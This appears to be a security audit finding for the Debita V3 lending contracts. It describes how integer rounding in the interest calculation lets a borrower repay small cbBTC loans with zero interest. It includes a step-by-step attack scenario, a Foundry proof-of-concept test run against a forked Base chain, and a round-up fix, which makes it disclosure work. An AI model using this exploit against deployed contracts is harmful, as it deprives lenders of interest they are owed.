Nutty Snowy Robin

Medium

# Borrower Can Avoid Paying Interest In Certain Scenarios

### Summary

The function `DebitaV3Loan::calculateInterestToPay()` calculates the interest the borrower must pay to the lender, based on the APR specified in the associated lend offer:
```solidity
function calculateInterestToPay(uint index) public view returns (uint) {
        infoOfOffers memory offer = loanData._acceptedOffers[index];
        uint anualInterest = (offer.principleAmount * offer.apr) / 10000;
        // check already duration
        uint activeTime = block.timestamp - loanData.startedAt;
        uint minimalDurationPayment = (loanData.initialDuration * 1000) / 10000;
        uint maxDuration = offer.maxDeadline - loanData.startedAt;
        if (activeTime > maxDuration) {
            activeTime = maxDuration;
        } else if (activeTime < minimalDurationPayment) {
            activeTime = minimalDurationPayment;
        }

>>      uint interest = (anualInterest * activeTime) / 31536000;

        // subtract already paid interest
        return interest - offer.interestPaid;
    }
```
#### Interest Calculation Vulnerability

Within the function, interest is calculated by multiplying the annual interest rate by the active time of the loan and dividing the result by the number of seconds in a year. However, this calculation can be manipulated by the borrower. If the product of the annual interest rate and the active time of the loan is smaller than the number of seconds in a year, the calculated interest rounds down to zero. This allows the borrower to avoid paying any interest.

This issue can be exploited by matching orders with minimum amounts and corresponding durations and APRs. For example:

- **Duration**: 30 days  
- **Amount Lent**: 0.0001 cbBTC (~8 USD)  
- **APR**: 1%  

If the borrower repays on the 3rd day of the loan, the calculated interest would round down to zero, resulting in no interest being paid.

>*Scenario details on attack path section*

### Root Cause

The [interest calculation](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/1465ba6884c4cc44f7fc28e51f792db346ab1e33/Debita-V3-Contracts/contracts/DebitaV3Loan.sol#L734) rounds down the resulting value.

### Internal pre-conditions

- Lending tokens with few decimals but high value (cbBTC).

### External pre-conditions

_No response_

### Attack Path
#### Lend Offer by Alice:
- **Available Amount**: 3 cbBTC  
- **Min Duration**: 30 days
- **APR**: 1%
- **Collateral Accepted**: USDC

#### Borrow Offer by Bob:
- **Available Amount**: 1000 USDC  
- **Duration**: 30 days  
- **Max APR**: 1%  
- **Principle Accepted**: cbBTC  

#### Bob Match with Alice:
- **Lend Amount**: 0.0001 cbBTC (~8 USD)  
- **Duration of the Loan**: 30 days  
- **APR**: 1%  

### Repayment Scenario:
After 3 days (10% of the loan duration) the borrower repays the debt, which should reduce the interest to 0.  
Inside the `calculateInterestToPay(index)` function:  
- **`annualInterest`**: `100` (`(principleAmount * offer.APR) / 10000`).  
- **`activeTime`**: `259200` seconds (3 days).  
- **`interest`**: `(100 * 259200) / 31536000 = 0`.  

### Impact

Borrower can avoid paying interest.

### PoC
You can paste the following functions in `test/fork/Incentives/MultipleLoansDuringIncentives.t.sol`.
You can run it with: `forge test --fork-url https://mainnet.base.org --fork-block-number 21151256 --no-match-path '**Fantom**' --mt testAvoidInterest -vvvv`

<details>

<summary>Add cbBTC token</summary>

Add these two lines at the top of the contract to initialize the Mock and specify the address of the Base chain:
```diff
+ ERC20Mock public cbBTCContract;
+ address cbBTC = 0xcbB7C0000aB88B473b1f5aFd9ef808440eed33Bf;
```
Start the `cbBTC` contract inside the `setup()` function:
```diff
+ cbBTCContract = ERC20Mock(cbBTC);
```

</details>


<details>

<summary>Test to run</summary>

```solidity
function testAvoidInterest() public {
        // Create a loan with 0.0001 cbBTC (1e4)
        createUsualLoan(borrower, firstLender, cbBTC, AERO);
        console.log("balance borrower cbBTC", IERC20(cbBTC).balanceOf(borrower));
        // Pass 3 days
        vm.warp(block.timestamp + 3 days);
        
        // repay the debt
        // Interest:
        // annualInterest = (1e4 * 1_00) / 10_000
        // interest = (annualInterest * 3 days) / 31_536_000 = 0
        uint[] memory indexes = allDynamicData.getDynamicUintArray(1);
        vm.startPrank(borrower);
        IERC20(cbBTC).approve(address(DebitaV3LoanContract), 1e4);
        DebitaV3LoanContract.payDebt(indexes);
        vm.stopPrank();

        // claim debt + interest
        uint balanceLenderBeforeClaim = IERC20(cbBTC).balanceOf(firstLender);
        vm.prank(firstLender);
        DebitaV3LoanContract.claimDebt(0);
        uint balanceLenderAfterClaim = IERC20(cbBTC).balanceOf(firstLender);
        
        // claim collateral
        vm.prank(borrower);
        DebitaV3LoanContract.claimCollateralAsBorrower(indexes);

        uint annualInterest = (1e4 * 100) / 10000;
        uint interest = (annualInterest * 3 days) / 31536000;
        
        assertEq(interest, 0);
        // lender didn't get his interest
        assertEq(balanceLenderAfterClaim, balanceLenderBeforeClaim + 1e4 + interest);
        assertEq(balanceLenderAfterClaim, balanceLenderBeforeClaim + 1e4);
    }
```

</details>


<details>

<summary>Function to create and match the orders</summary>

```solidity
// Create orders and match them with low quantity
    // No oracles
    function createUsualLoan(
        address _borrower,
        address lender,
        address principle,
        address collateral
    ) internal returns (address) {
        vm.startPrank(_borrower);
        deal(principle, lender, 10e8, false);
        // Give 80 cbBTC to the borrower in order to pay the fee when repaid
        deal(principle, borrower, 80, false);
        deal(collateral, _borrower, 1000e18, false);
        IERC20(collateral).approve(address(DBOFactoryContract), 500e18);
        bool[] memory oraclesActivated = allDynamicData.getDynamicBoolArray(1);
        uint[] memory ltvs = allDynamicData.getDynamicUintArray(1);
        uint[] memory ratio = allDynamicData.getDynamicUintArray(1);
        uint[] memory ratioLenders = allDynamicData.getDynamicUintArray(1);
        uint[] memory ltvsLenders = allDynamicData.getDynamicUintArray(1);
        bool[] memory oraclesActivatedLenders = allDynamicData
            .getDynamicBoolArray(1);

        address[] memory acceptedPrinciples = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory acceptedCollaterals = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory oraclesCollateral = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory oraclesPrinciples = allDynamicData
            .getDynamicAddressArray(1);

        // set the values for the loan
        ltvs[0] = 5000;
        acceptedPrinciples[0] = principle;
        acceptedCollaterals[0] = collateral;
        oraclesActivated[0] = false;
        ratio[0] = 5e17;

        oraclesCollateral[0] = DebitaChainlinkOracle;

        address borrowOrderAddress = DBOFactoryContract.createBorrowOrder(
            oraclesActivated,
            ltvs,
            100, // 1% APR to not pay interest
            30 days, // duration
            acceptedPrinciples,
            collateral,
            false, // nft
            0, // receipt ID
            oraclesPrinciples,
            ratio,
            DebitaChainlinkOracle,
            500e18
        );

        vm.stopPrank();

        vm.startPrank(lender);
        IERC20(principle).approve(address(DLOFactoryContract), 2e8);
        ltvsLenders[0] = 5000;
        ratioLenders[0] = 5e17;
        oraclesActivatedLenders[0] = false;
        address lendOrderAddress = DLOFactoryContract.createLendOrder(
            false,
            oraclesActivatedLenders,
            false,
            ltvsLenders,
            100, // apr
            35 days, // max duration
            25 days, // min duration
            acceptedCollaterals,
            principle,
            oraclesCollateral,
            ratioLenders,
            address(0), // oracle principle, not need it
            2e8
        );
        vm.stopPrank();
        vm.startPrank(connector);

        address[] memory lendOrders = allDynamicData.getDynamicAddressArray(1);
        uint[] memory lendAmountPerOrder = allDynamicData.getDynamicUintArray(
            1
        );
        uint[] memory porcentageOfRatioPerLendOrder = allDynamicData
            .getDynamicUintArray(1);
        address[] memory principles = allDynamicData.getDynamicAddressArray(1);
        uint[] memory indexForPrinciple_BorrowOrder = allDynamicData
            .getDynamicUintArray(1);
        uint[] memory indexForCollateral_LendOrder = allDynamicData
            .getDynamicUintArray(1);
        uint[] memory indexPrinciple_LendOrder = allDynamicData
            .getDynamicUintArray(1);

        lendOrders[0] = lendOrderAddress;
        lendAmountPerOrder[0] = 1e4; // Utilize minimum quantity to not pay interest

        porcentageOfRatioPerLendOrder[0] = 10000;
        principles[0] = principle;

        // match
        address loan = DebitaV3AggregatorContract.matchOffersV3(
            lendOrders,
            lendAmountPerOrder,
            porcentageOfRatioPerLendOrder,
            borrowOrderAddress,
            principles,
            indexForPrinciple_BorrowOrder,
            indexForCollateral_LendOrder,
            indexPrinciple_LendOrder
        );

        DebitaV3LoanContract = DebitaV3Loan(loan);
        vm.stopPrank();


    }
```

</details>

### Mitigation

The resulting interest calculation needs to be rounded up:

```diff
function calculateInterestToPay(uint index) public view returns (uint) {
        infoOfOffers memory offer = loanData._acceptedOffers[index];
        uint anualInterest = (offer.principleAmount * offer.apr) / 10000;
        // check already duration
        uint activeTime = block.timestamp - loanData.startedAt;
        uint minimalDurationPayment = (loanData.initialDuration * 1000) / 10000;
        uint maxDuration = offer.maxDeadline - loanData.startedAt;
        if (activeTime > maxDuration) {
            activeTime = maxDuration;
        } else if (activeTime < minimalDurationPayment) {
            activeTime = minimalDurationPayment;
        }
-       uint interest = (anualInterest * activeTime) / 31536000;
+       uint interest = ((anualInterest * activeTime) + 31536000 - 1) / 31536000;

        // subtract already paid interest
        return interest - offer.interestPaid;
    }
```